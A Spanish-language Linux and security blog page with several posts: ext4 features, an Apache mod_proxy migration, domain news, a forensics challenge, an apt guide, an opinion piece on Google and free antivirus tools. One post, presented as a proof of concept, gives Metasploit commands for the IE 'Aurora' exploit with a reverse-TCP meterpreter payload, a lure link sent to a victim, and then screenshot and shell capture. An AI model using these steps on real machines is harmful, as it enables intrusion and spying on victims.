Rincón Informático

Un rincon para hablar sobre GNU/Linux, seguridad informatica, y mas!!

EL NUEVO SISTEMA DE FICHEROS EXT4 EN LINUX

Posted by fortress On Febrero - 28 - 2010

Con el rápido crecimiento de la tecnología, todos los días vamos acumulando más y más información en nuestros discos duros (HD) y se va haciendo necesario que esta transferencia de datos ya sea desde internet o desde un disco a otro, sea cada vez más rápida y confiable.

Cuando hablamos de transferencias de datos a través de una red, se hace necesario que esta me garantice cierto nivel de calidad de servicio (QoS) para que mis datos no se vayan a ver corrompidos o que simplemente se vayan a perder en la transferencia. Ahora cuando hablamos de transferencias de datos por ejemplo de un disco duro a otro, también se necesita que haya cierto grado de confiabilidad, pero esto nos lleva a otro punto interesante, y es que cuando empezamos a llenar nuestro HD, este guarda nuestros datos de una forma no consecutiva, provocando el fenómeno de la fragmentación, este fenómeno produce que cuando se quiera acceder a ciertos archivos le tome mucho tiempo cuando el HD se encuentra muy lleno, porque los datos se encuentran dispersos por todo el HD, el fenómeno de la fragmentación ocurre en cualquier tipo de sistema de fichero sea NTFS, FAT, ext2, ext3, etc. Pero lo que diferencia el problema de un sistema a otro es la regularidad con la que sucede.

Ahora hablando más explícitamente del sistema de ficheros de Linux ext3 utiliza un esquema de mapeado de bloques. Un fichero de 100 MB será mapeado en 25.600 bloques de 4 KB cada uno. Cuanto más grande sea el fichero, más bloques serán mapeados, algo que hará el manejo cada vez más lento. Ext4 introduce el concepto de Extent. Un extent es básicamente un conjunto de bloques. En nuestro ejemplo para un fichero de 100 MB, se dirá básicamente «escribe los datos en los próximos n bloques». En lugar de mapear cada bloque individual por separado, Ext4 soportará extents de hasta 128 MB, de forma que para un fichero de un 1 GB, se mapearán 10 extents en lugar de 256.000 bloques. Esto mejora el rendimiento y reduce la fragmentación.

Explicación: En nuestro ejemplo de 100 MB, Ext3 utiliza un alojador de bloques que decide qué bloques libres van a ser utilizados para escribir los datos. Pero el alojador puede trabajar sólo de bloque en bloque, lo que significa que nuestro fichero de 100 MB necesitará 25.600 llamadas al alojador. Ineficiente, ¿no? Resulta aún peor darse cuenta de que el alojador no puede optimizar sus políticas porque en realidad no sabe cuántas veces va a ser llamado. No sabe el tamaño del fichero para el que se le está pidiendo que aloje bloques. 

Algunas de las mejoras que podrás encontrar en este nuevo sistema de ficheros serán relacionadas en la siguiente tabla.

Mejora

Descripción

Sistema de archivos de gran tamaño

El sistema de archivos ext4 es capaz de trabajar con volúmenes de hasta 1 exbibyte y archivos de tamaño de hasta 16 TiB.
Extents Un extent es un conjunto de bloques físicos contiguos, mejorando el rendimiento al trabajar con ficheros de gran tamaño y reduciendo la fragmentación.
Compatibilidad hacia atrás El ext4 es compatible hacia atrás con ext3 y ext2, siendo posible montar sistemas de archivos ext3 y ext2 como ext4.
Asignación persistente de espacio El espacio reservado para estos archivos está garantizado y con mucha probabilidad será contiguo. El llenado con ceros está obsoleto.
Asignación retrasada de espacio El sistema de archivos ext4 retrasa la reserva de bloques de memoria hasta que la información esté a punto de ser escrita en el disco, mejorando el rendimiento y reduciendo la fragmentación al hacer las decisiones de reserva de memoria basada en el tamaño real del archivo.
Límite de subdirectorios superado El número de subdirectorios que un directorio puede contener fue elevado a 64.000.
Journal checksumming Se usa suma de comprobación para el journal de forma que se aumente la confiabilidad, dado que este es el archivo más usado en el disco.
Chequeo del sistema de archivos más rápido En ext4, los grupos de bloques no asignados y secciones de la tabla de inodos están marcados como tales. Esto permite a e2fsck saltárselos completamente en los chequeos y en gran medida reduce el tiempo requerido para chequear un sistema de archivos del tamaño para el que ext4 está preparado.
Asignador multibloque El sistema de archivos ext4 asigna múltiples bloques para un fichero en una sola operación, lo cual reduce la fragmentación al intentar elegir bloques contiguos en el disco.

El popular blog sobre hardware y Linux Phoronix ha ejecutado unas pruebas extensivas sobre el rendimiento de Ext4 contra otros sistemas de ficheros populares como Ext3, XFS, JFS o ReiserFS. El resultado más impresionante se produjo durante la escritura de un fichero de 4 GB, donde Ext4 literalmente borró al resto de sistemas del mapa.

estadisticasw EL NUEVO SISTEMA DE FICHEROS EXT4 EN LINUX

Bueno esto es todo por el momento, en las próximas entradas se hablara de cómo pasarse de ext3 a ext4 sin necesidad de perder los datos, espero y les haya servido y hasta un próximo artículo.

 Fuente

Revisando mis feeds me encuentro con un articulo de lo más interesante y quise compartirlo con ustedes, sin más preambulos aqui se los dejo.

Hay que migrar el site foo.com del servidor A al servidor B, no podemos tener el site caido mucho tiempo mas allá de unos pocos minutos (lo que tardamos en hacer un dump de los datos y una copia de ficheros), tampoco queremos cambiar el dominio del site (por ejemplo usando una redirección del estilo.foo.com a new.foo.com).

Resumiendo: queremos que todas las peticiones que entren al servidor A para el virtual host foo.com le lleguen al servidor B que tiene tambien configurado ese mismo dominio en sus virtual hosts.

Afortunadamente Apache 2 es el servidor web del dominio foo.com.

¿Como lo hacemos?

Voy a proponer una solución al problema utilizando mod_proxy:

Añadimos estas 3 lineas a la configuración del servidor A.

ProxyPass / http://192.240.2.93/
ProxyPassReverse / http://192.240.2.93/
ProxyPreserveHost On
Explicamos para que sirven los parametros:

ProxyPass redirige la petición del servidor A a la ip del servidor B.
ProxyPassReverse cambia la URL en las cabeceras Location, Content-Location y URI de las respuestas HTTP redirect. Se utiliza para que la respuesta de la petición vaya al cliente a traves del host A, lo cual es muy util cuando redirigimos peticiones a hosts en una red privada que no tienen acceso a internet. En nuestro caso esta directiva es opcional y podemos decidir que sea el host B el que responda al cliente directamente.
ProxyPreserveHost mantiene la cabecera Host de la petición en la redirección al servidor B, esta pensado especificamente para poder hacer redirecciones a servidores que utilicen virtual hosts basados en nombres de dominio.
En el host B tenemos que tener una configuración similar a esta para que acepte las peticiones que le entran desde el servidor A:
<virtualhost *:80>
ServerName foo.com
DocumentRoot /var/www/foo
<directory “/var/www/foo”>
Order allow,deny
Allow from all
</directory>
ErrorLog /var/log/apache2/foo.err
CustomLog /var/log/apache2/foo.log combined
</virtualhost>

Fuente – Linux para todos

Hace pocos días,  Google y otras grandes empresas recibieron un ciberataque denominado “Aurora”  el cual aprovechaba una nueva vulnerabilidad de tipo 0-day en Internet explorer que permite  la ejecución remota de código en las maquinas vulnerables. Cito la noticia:

McAfee Labs ha estado trabajando contra reloj para evaluar cómo se realizó el ciberataque al que han bautizado como Aurora y que afectó tanto a Google como a varias decenas de empresas y a sus servidores de correo. Una de las causas de este ataque ha sido la aparición de una nueva vulnerabilidad Zero Day en Internet Explorer, que se descubrió recientemente gracias a esas tareas de investigación y sobre la que Microsoft ya ha publicado sus propias notas.

Según los estudios de McAfee, los intrusos ganaron accesos a las organizaciones mandando ataques a medida a ciertas personas que se supone que tienen permisos de acceso especiales. La combinación de mensajes que parecían provenir de fuentes de confianza y de la vulnerabilidad en IE puede haber sido la base de dichos ataques, según la firma de seguridad

Observando el impacto que tuvo dicha vulnerabilidad, acá en RinconInformatico.NET quisimos hacer una prueba de concepto (al igual como lo hicimos con una vulnerabilidad de Firefox) para comprobar lo fácil que es la explotacion de este fallo.

¿Que necesitamos?

  • Metasploit en su ultima versión ( o actualizarlo)
  • Una victima

Antes de empezar es oportuno aclarar que esta prueba fue hecha con un Windows XP SP2  e I6, según otras fuentes el exploit que se encuentra en el metasploit solo es efectivo con IE6, sin embargo, el exploit que pueden encontrar aqui sirve para todas las versiones de Internet explorer.

Y empezamos…

Después de tener nuestro metasploit framework abrimos la consola:

msfconsole

Ahora procedemos a seleccionar el exploit y darle los parámetros adecuados:

use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (nuestra ip)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

internet explorer exploit

Después de lanzar el exploit, debemos decirle a la víctima que acceda al siguiente enlace (LOCAL IP) en este caso es el siguiente:

http://192.168.1.4:8080/

Inmediatamente nuestra víctima abre el enlace malicioso veremos como  el metasploit empieza a trabajar, hasta que nos abre una sesión. El siguiente paso es seleccionar la sesión:

sessions -i 1 // donde 1 es el id de la sesión que se ha creado.

Si todo ha salido bien tendremos  el prompt de meterpreter, desde donde podemos hacer muchas cosas interesantes, como tomar un screenshot del escritorio de la víctima, saber el nombre del equipo con su grupo de trabajo,  o en su defecto tener un shell remota de nuestro equipo víctima. algunos ejemplos:

meterpreter > use espia
meterpreter > screenshot victima1.bmp // el screenshot quedara en tu escritorio

victimaf.th Ciberataque Aurora: Explotando vulnerabilidad 0 day en Internet Explorer (PoC)


meterpreter> shell // obtendremos una shell donde podemos hacer lo que deseemos.

meterpreter shell

Consideraciones..

  • Con este método, solo es vulnerable ie6
  • Un antivirus actualizado detecta el ataque (comprobado con nod32 y mcafee)
  • Obviamente si la víctima cierra el internet explorer se caera el ataque.

Por ultimo, no sobra decir que este es un laboratorio informativo, es decir, un  prueba de concepto, el que haga esto no es un hacker. La idea de esta entrada no es ejecutar un exploit, es tratar de entender como es su funcionamiento y la forma de implementarlo.

Nuevo Administrador de Dominio .CO (Colombia)

Posted by SpiderM@N On Enero - 23 - 2010

Los Dominios “CO” que corresponden a COLOMBIA cambian de administrador.  Hasta el 7 de febrero del presente año la Universidad de los Andes se hará cargo de esta tarea la cual pasara a manos .CO Internet S.A.S.

Pues bien .CO Internet es una empresa colombiana, que cuenta con el asesoramiento de empresas Norte-Americanas que conocen del negocio y por lo mismo desean traer nuevas políticas y funciones a estos dominios, entre ellas:

  • Registradores: El usuario podrá registrar y administrar sus dominios a través de los principales registradores del mundo, donde encontrará servicios de valor agregado y precios más competitivos.
  • Documentación: Se simplifica la documentación y los trámites requeridos en el proceso de registro. Los usuarios en Colombia y alrededor del mundo estarán en capacidad de seleccionar y adquirir en línea su nombre de dominio preferido, en cuestión de minutos.
  • Número ilimitado de registros: Se podrá registrar un dominio o varios de manera fácil para promocionar servicios distintos y/o productos distintos.
  • Duración del registro: Se podrá registrar un dominio por periodos de un año o de hasta 5 años.
  • Transferencias: Se podrá transferir los nombres de dominio a otros titulares y/o entre registradores.
  • Registro sin verificación previa: Siguiendo los estándares internacionales, se establece la posibilidad de automatizar el procedimiento de registro y el establecimiento de sistemas de registro en línea.
  • Posibilidad de usarse como segundo nivel (rinconinformatico.co)

Esperemos que estas nuevas características impulsen a las empresas colombianas a adquirir dominios .CO y así darle mayor credibilidad y geolocalización a sus negocios.

Nuevo reto: Analisis Forense

Posted by Epsilon On Diciembre - 25 - 2009

reto informatica forense

Para todos aquellos  que quieran hacer algo muy interesante y productivo en esta época de vacaciones, nuestro amigo Dragon,  ha diseñado un reto forense denominado análisis forense(muchas gracias a dragon por haberse tomado la molestia de crear este reto y compartirlo con nosotros), en los siguientes enlaces encontraras un paquete con todo lo necesario para desarrollarlo:

parte 1
parte 2
parte 3
parte 4
parte 5

Para descomprimir el paquete necesitan una clave, pueden pedirla a cualquiera de estos dos correos:

dragonjar en gmail
4v4t4r en gmail

el escenario del reto es el siguiente:

Gracias a una denuncia por ciberBullyng a la Unidad de Delitos Informáticos Lunix, se pretende llevar a cabo un análisis forense a un sistema propiedad de un sospechoso que tiene contacto con la víctima. Este análisis se realizará bajo la sospecha que desde éste equipo se están realizando actos delictivos y judicializables.
Se sospecha que éste distribuye contenido pedófilo por medio de Internet.

El objetivo y las reglas:

El objetivo es realizar un análisis forense al sistema de la persona sospechosa. Para ello se entrega un snapshot del sistema objetivo. Esta instantánea podrá ser restaurada para llevar a cabo el respectivo análisis en “caliente” por medio de los aplicativos software VMWare Player o VMWare Server (ambas aplicaciones gratuitas y multiplataforma).

La finalidad del análisis será determinar entre otros los siguientes puntos:

  1. Antecedentes del Sistema/Escenario
  2. Recolección de datos
  3. Descripción de la evidencia
  4. Entorno del análisis/Descripción de las herramientas
  5. Análisis de la evidencia/Información del sistema analizado /Aplicaciones /Servicios
  6. Metodología
  7. Descripción de los hallazgos
  8. Huellas del comportamiento y de las actividades del sospechoso
  9. Cronología de las actividades del sospechoso
  10. Posibles víctimas del sospechoso
  11. Rastros del sospechoso
  12. Conclusiones
  13. Recomendaciones a los padres
  14. Referencias

Esperamos que todos participen ya que es un buen método para aprender sobre un tema tan amplio como lo es la informática forense, no hay mejor metodología de aprendizaje que la practica, cualquier cosa estaremos dispuestos a resolver dudas y esperen muy pronto la solución a este reto.

Guia: Como instalar programas en GNU/Linux

Posted by Epsilon On Diciembre - 17 - 2009

Este articulo no va dirigido para aquellos puristas y gurus de GNU/Linux, no obstante sera muy útil para cualquier persona que apenas ingresa al apasionante y fascinante mundo del pingüino.

Como todos sabemos, en GNU/Linux no se instalan programas de la misma forma que en entornos privativos como Microsoft Windows. Nunca vamos a poder instalar archivos .exe en plataformas Unix, a no ser de los emulemos con wine o otro software. Sin embargo en sistemas operativos libres existe algo denominado repositorios:

Un repositorio, depósito o archivo es un sitio centralizado donde se almacena y mantiene información digital, habitualmente bases de datos o archivos informáticos.

Los depósitos están preparados para distribuirse habitualmente sirviéndose de una red informática como Internet o en un medio físico como un disco compacto. Y pueden ser de acceso público, o pueden estar protegidos y necesitar de una autentificación previa. Los depósitos más conocidos son los de carácter académico e institucional.

Los depósitos se utilizan de forma intensiva en Linux, almacenando, en su mayoría, paquetes de software disponibles para su instalación mediante un gestor de paquetes.

En estos grandes depósitos de software  se almacenan un sin numero de paquetes precompilados,  con el fin de hacernos mas fácil la instalación de la mayoría de programas, haciendo uso de un gestor de paquetes:

Es una colección de herramientas que sirven para automatizar el proceso de instalación, actualización, configuración y eliminación de paquetes de software. El término se usa comúnmente para referirse a los gestores de paquetes en sistemas Unix-like, especialmente Linux, ya que se apoyan considerablemente en estos sistemas de gestión de paquetes.

El gestor de paquetes es el encargado de   buscar en los repositorios el programa que  deseado, descargarlo e instalarlo simplemente con un solo comando (es por esto que algunos lo llaman el comando mágico ).  Existen diferentes gestores de paquetes dependiendo de la distribución de GNU/Linux que uses, algunos son:

  • Apt -> Debian y derivados
  • Yum ->  Red Hat, fedora y derivados
  • Yast -> OpenSUSE y derivados
  • Pacman -> Arch Linux y derivados
  • y algunos mas…

Ya teniendo esto un poco mas claro, podemos ver como instalar programas usando el gestor de paquetes de nuestra distribución,  en el ejemplo usare apt por que es el gestor de paquetes de mi distribución, entonces para instalar un programa  hacemos lo siguiente:

apt-get install nombre_del_paquete

El gestor, buscara  el paquete  en los repositorios, si lo encuentra nos listara los paquetes que va a instalar (incluyendo dependencias) y nos pedirá confirmación para empezar con la descarga:

apt Guia: Como instalar programas en GNU/Linux

Si no encuentra el paquete nos mostrara algo como esto:

apterror Guia: Como instalar programas en GNU/Linux

Algunos comando básicos del apt son:

apt-get install -> instala un paquete
apt-get update -> actualiza los repositorios
apt-get upgrade -> actualiza todos los paquetes instalados
apt-get dist-upgrade -> además de actualizar maneja los cambios de dependencias
apt-cache search -> busca un paquete en los repositorios
apt-get remove -> elimina un paquete
apt-get –purge remove -> elimina un paquete y sus archivos de configuracion
apt-get -f  install -> resuelve dependencias
apt-get source -> descarga las fuentes

Existen muchos mas para  mas info pueden leer el manual del gestor de paquetes

Instalando programas desde las fuentes

Aunque en los repositorios se encuentran muchisimos paquetes, existen algunos los cuales  por una u otra razón no se encuentran alli. Para instalar estos paquetes descargamos las fuentes desde la pagina web del desarrollador o algun otro sitio,   extraemos el archivo y encontraremos el codigo fuente  del paquete,    entre varios archivos encontraremos  dos archivos importantes:

configure: el cual es un script que prepara el entorno para la compilacion
makefile: es el archivo  que contiene las instrucciones para generar el programa

para instalar programas   que tengan el script configure debemos hacer lo siguiente:

./configure
make
make install

No obstante hay  programas los cuales no tienen el script configure, en este caso  instalamos así:

make
make install

Hay que resaltar que esta forma no siempre sera asi, cada programa tendra sus parametros y  dependendiendo de esos parametros se instalara el programa en cuestion,  es recomendable leer toda la documentacion que venga en el  paquete por que de esta forma podremos tener claro muchos parametros y diferentes formas de instalacion.

Espero que les haya servido a los que recien empiezan en el mundo del software libre, y recuerden esta es solo una introduccion  a este tema,  algo muy basico, si desean ir mas profundo  pueden preguntarle al gran hermano, el muy seguramente les podra ayudar.

Google Inc: y su actual Monopolio

Posted by Epsilon On Diciembre - 16 - 2009

Quiero empezar esta entrada,  aclarando que no soy un experto en el tema de la política, sociedad y demás aspectos culturales, simplemente deseo expresar mi opinión acerca de lo que poco a poco se esta convirtiendo Google en nuestros proyectos, trabajos y demás actividades.

Antes todos los usuarios de la Internet veíamos a Google como el motor de búsqueda mas potente y poderoso que existía  en la época, y que  en muy poco tiempo arraso con la competencia y se convirtió en el líder de los motores de búsqueda.

Desde ese entonces, Google Inc se ha encargado de lanzar y ofrecer nuevos servicios desde correo hasta mapas satelitales, pasando por  una gran cantidad de servicios. Igualmente  en este tiempo esta empresa ha realizado algunas compras estrategicas y millonarias para cubrir gran parte de la demanda en la Internet,  algunos ejemplos son: Youtube, DobleClick, feedburner y Panoriamo. Ahora muchas cosas que hacemos en la red, tienen que ver de una  u otra forma con  este gigante tecnológico.

Y cada vez mas vemos como Google se va apoderando de  muchos mercados, hace poco saco  el nuevo servicio de dns gratuitos,  cortador de urls,  google wave, y muy pronto entrara al mercado de los sistemas operativos con un  sistema desarrollado 100% por ellos. Analizando todos estos acontecimientos inmediatamente me surge la siguiente pregunta: ¿Que tan conveniente es que  todas nuestras actividades dependan de un sola empresa? ¿Que tan seguro es? ¿Que pasaría  si algún día fallara?

Las respuestas a estas preguntas no las tengo y de seguro son muy complejas,  por lo pronto quería dejar la inquietud a todos los lectores  y que ojala siguieran apoyando  aquellos servicios que fueron pioneros que innovaron en su momento  y que nos han ayudado mucho hasta este instante, por que no es justo que el poder de Google siga metiéndose en el terreno de pequeñas empresas, arrasando con todo lo que hay a su paso.

Nota: Aclaro no estoy en contra de los servicios de google, uso muchos de ellos,  y me parecen bastante buenos, estoy en contra es contra cualquier clase de monopolio que nos pueda afectar mas adelante.

Antivirus libres: una alternativa para el malware en GNU/Linux

Posted by Epsilon On Diciembre - 10 - 2009

Como lo prometido es deuda, en esta ocasión vamos hablar un poco sobre aquellos antivirus libres  que nos pueden ayudar  en  algún momento cuando el malware en plataformas libres sea un hecho.

En el post anterior describimos una solución privativa: NOD32, sin embargo, es claro que ningun defensor del Software libre estará de acuerdo con instalar este tipo de aplicacion cerrada, por tal motivo, a continuación nombraremos algunas alternativas libres.

Clamav

Su instalación es muy sencilla

apt-get install clamav

Es distribuido bajo licencia GPL, disponible para GNU/Linux,  Windows, Solaris, FreeBSD, OpenBSD. Detecta alrededor de 320 000 virus, gusanos y troyanos, incluyendo virus programados como macros de Microsoft Office. Además puede escanear archivos comprimidos, formatos de correo electrónico y formatos especiales.

HAVP

Este es un proxy con filtro antivirus,  el cual se interpone entre tu navegador y la Internet y es capaz de analizar todo el trafico entrante  en busca de cualquier código malicioso  en una pagina web (JS y Html ) o una imagen. su instalación es igual de sencilla que el anterior:

apt-get install havp

Como pueden ver  no hay mucho de donde escoger  en cuanto este tema, debido a que el malware en GNU/Linux  no es muy común en la actualidad, no obstante a medida que el tema vaya avanzando saldrá en el camino nuevas alternativas que resuelvan la problematica. Si alguno de ustedes conoce otro  Antivirus GPL  esperamos que nos compartas cual es.